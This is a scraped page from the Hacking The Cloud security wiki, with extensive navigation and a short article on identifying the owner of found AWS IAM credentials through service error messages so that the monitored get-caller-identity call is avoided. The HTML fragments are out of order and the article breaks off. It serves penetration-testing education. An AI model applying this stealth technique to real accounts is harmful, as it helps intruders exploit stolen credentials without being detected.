href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#sqslistqueues class=md-nav__link> <span class=md-ellipsis> sqs:ListQueues </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/whoami.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Whoami - Get Principal Name From Keys</h1> <p>After finding or obtaining IAM credentials during an assessment you will need to identify what they are used for, or if they are valid. The most common method for doing so would be the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-caller-identity.html>get-caller-identity</a> API call. This is beneficial for several reasons, particularly because it requires no special permissions to execute.</p> <p>Unfortunately, although it is <a href=https://twitter.com/SpenGietz/status/1283846678194221057>unlikely</a>, there is the possibility that this API call may be monitored, especially for sensitive accounts. Additionally, if our goal is to remain as stealthy as possible, we might prefer not to use this method. As a result we need alternatives. Fortunately, many AWS services will disclose the calling role along with the account ID when an error is generated. It should be noted that the principal must lack IAM permissions for this call in order for the error to return the relevant information. </p> <p>Not all API calls exhibit this behavior. For example, failed EC2 API calls will return a message similar to the following:</p> <div class=highlight><pre><span></span><code>An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#sqslistqueues class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 